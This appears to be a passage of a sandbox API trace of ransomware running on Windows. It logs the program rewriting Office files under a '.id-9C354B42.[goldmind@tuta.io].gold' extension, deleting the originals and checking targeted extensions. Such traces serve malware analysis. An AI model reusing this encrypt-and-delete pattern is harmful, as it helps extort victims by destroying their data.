[0094.969] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=6915) returned 1 [0094.969] CloseHandle (hObject=0x3b8) returned 1 [0094.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20 [0094.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0094.999] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.999] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.000] GetLastError () returned 0x0 [0095.000] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x1b03, lpOverlapped=0x0) returned 1 [0095.006] WriteFile (in: hFile=0x190, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0095.006] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.006] WriteFile (in: hFile=0x190, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.006] SetEndOfFile (hFile=0x190) returned 1 [0095.130] CloseHandle (hObject=0x190) returned 1 [0095.130] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.130] SetEndOfFile (hFile=0x3c0) returned 1 [0095.131] CloseHandle (hObject=0x3c0) returned 1 [0095.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.150] lstrlenW (lpString=".doc") returned 4 [0095.150] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0095.150] lstrlenW (lpString=".docx") returned 5 [0095.150] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0095.150] lstrlenW (lpString=".pdf") returned 4 [0095.150] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0095.150] lstrlenW (lpString=".xls") returned 4 [0095.150] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0095.150] lstrlenW (lpString=".xlsx") returned 5 [0095.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0095.150] lstrlenW (lpString=".ppt") returned 4 [0095.150] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.150] lstrlenW (lpString=".zip") returned 4 [0095.150] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0095.150] lstrlenW (lpString=".rar") returned 4 [0095.150] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0095.150] lstrlenW (lpString=".bz2") returned 4 [0095.150] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0095.150] lstrlenW (lpString=".7z") returned 3 [0095.150] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.150] lstrlenW (lpString=".dbf") returned 4 [0095.150] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.150] lstrlenW (lpString=".1cd") returned 4 [0095.150] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.150] lstrlenW (lpString=".jpg") returned 4 [0095.150] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.150] lstrlenW (lpString=".doc") returned 4 [0095.150] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0095.150] lstrlenW (lpString=".docx") returned 5 [0095.150] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0095.150] lstrlenW (lpString=".pdf") returned 4 [0095.150] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0095.150] lstrlenW (lpString=".xls") returned 4 [0095.150] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0095.150] lstrlenW (lpString=".xlsx") returned 5 [0095.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0095.150] lstrlenW (lpString=".ppt") returned 4 [0095.151] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.151] lstrlenW (lpString=".zip") returned 4 [0095.151] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0095.151] lstrlenW (lpString=".rar") returned 4 [0095.151] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0095.151] lstrlenW (lpString=".bz2") returned 4 [0095.151] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0095.151] lstrlenW (lpString=".7z") returned 3 [0095.151] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.151] lstrlenW (lpString=".dbf") returned 4 [0095.151] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.151] lstrlenW (lpString=".1cd") returned 4 [0095.151] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0095.151] lstrlenW (lpString=".jpg") returned 4 [0095.151] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0095.151] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.151] lstrlenW (lpString="Apex.eftx") returned 9 [0095.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0095.157] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=218310) returned 1 [0095.165] CloseHandle (hObject=0x3a8) returned 1 [0095.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20 [0095.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.176] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.188] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0095.189] GetLastError () returned 0x0 [0095.189] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x354c6, lpOverlapped=0x0) returned 1 [0095.208] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x354d0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x354d0, lpOverlapped=0x0) returned 1 [0095.211] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.211] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0095.211] SetEndOfFile (hFile=0x3c0) returned 1 [0095.211] CloseHandle (hObject=0x3c0) returned 1 [0095.211] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.211] SetEndOfFile (hFile=0x3b4) returned 1 [0095.215] CloseHandle (hObject=0x3b4) returned 1 [0095.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 1 [0095.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.308] lstrlenW (lpString=".doc") returned 4 [0095.308] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.308] lstrlenW (lpString=".docx") returned 5 [0095.308] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.308] lstrlenW (lpString=".pdf") returned 4 [0095.308] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.308] lstrlenW (lpString=".xls") returned 4 [0095.308] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.308] lstrlenW (lpString=".xlsx") returned 5 [0095.308] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.308] lstrlenW (lpString=".ppt") returned 4 [0095.308] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString=".zip") returned 4 [0095.309] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString=".rar") returned 4 [0095.309] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString=".bz2") returned 4 [0095.309] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString=".7z") returned 3 [0095.309] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString=".dbf") returned 4 [0095.309] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString=".1cd") returned 4 [0095.309] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString=".jpg") returned 4 [0095.309] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString=".doc") returned 4 [0095.309] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString=".docx") returned 5 [0095.309] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.309] lstrlenW (lpString=".pdf") returned 4 [0095.309] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString=".xls") returned 4 [0095.309] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString=".xlsx") returned 5 [0095.309] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.309] lstrlenW (lpString=".ppt") returned 4 [0095.309] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString=".zip") returned 4 [0095.309] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString=".rar") returned 4 [0095.309] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString=".bz2") returned 4 [0095.309] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString=".7z") returned 3 [0095.309] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString=".dbf") returned 4 [0095.309] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString=".1cd") returned 4 [0095.309] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0095.309] lstrlenW (lpString=".jpg") returned 4 [0095.309] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.309] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.310] lstrlenW (lpString="Civic.eftx") returned 10 [0095.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.347] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=42917) returned 1 [0095.347] CloseHandle (hObject=0x3c4) returned 1 [0095.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0095.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.347] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.347] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.357] GetLastError () returned 0x0 [0095.357] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xa7a5, lpOverlapped=0x0) returned 1 [0095.373] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xa7b0, lpOverlapped=0x0) returned 1 [0095.374] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.374] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0095.375] SetEndOfFile (hFile=0x3c8) returned 1 [0095.375] CloseHandle (hObject=0x3c8) returned 1 [0095.375] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.375] SetEndOfFile (hFile=0x3c4) returned 1 [0095.379] CloseHandle (hObject=0x3c4) returned 1 [0095.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 1 [0095.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.403] lstrlenW (lpString=".doc") returned 4 [0095.403] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".docx") returned 5 [0095.404] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.404] lstrlenW (lpString=".pdf") returned 4 [0095.404] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".xls") returned 4 [0095.404] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".xlsx") returned 5 [0095.404] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.404] lstrlenW (lpString=".ppt") returned 4 [0095.404] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.404] lstrlenW (lpString=".zip") returned 4 [0095.404] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".rar") returned 4 [0095.404] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".bz2") returned 4 [0095.404] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".7z") returned 3 [0095.404] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.404] lstrlenW (lpString=".dbf") returned 4 [0095.404] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.404] lstrlenW (lpString=".1cd") returned 4 [0095.404] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.404] lstrlenW (lpString=".jpg") returned 4 [0095.404] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.404] lstrlenW (lpString=".doc") returned 4 [0095.404] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".docx") returned 5 [0095.404] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.404] lstrlenW (lpString=".pdf") returned 4 [0095.404] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".xls") returned 4 [0095.404] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".xlsx") returned 5 [0095.404] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.404] lstrlenW (lpString=".ppt") returned 4 [0095.404] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.404] lstrlenW (lpString=".zip") returned 4 [0095.404] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".rar") returned 4 [0095.404] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".bz2") returned 4 [0095.404] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.404] lstrlenW (lpString=".7z") returned 3 [0095.404] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.404] lstrlenW (lpString=".dbf") returned 4 [0095.404] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.405] lstrlenW (lpString=".1cd") returned 4 [0095.405] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0095.405] lstrlenW (lpString=".jpg") returned 4 [0095.405] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.405] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.405] lstrlenW (lpString="Concourse.eftx") returned 14 [0095.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0095.510] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=22417) returned 1 [0095.510] CloseHandle (hObject=0x38c) returned 1 [0095.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0095.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, 